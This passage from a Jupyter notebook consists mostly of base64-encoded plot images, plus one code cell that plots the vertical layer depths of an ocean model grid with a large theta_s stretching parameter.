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", "text/plain": [ "<Figure size 900x500 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "grid_with_large_theta_s.plot_vertical_coordinate(\"layer_depth_rho\", eta=50)" ] }, { "cell_type": "code", "execution_count": 39, "id": "6b1c644a-8cc4-4d0e-b329-738b58cbdc9a", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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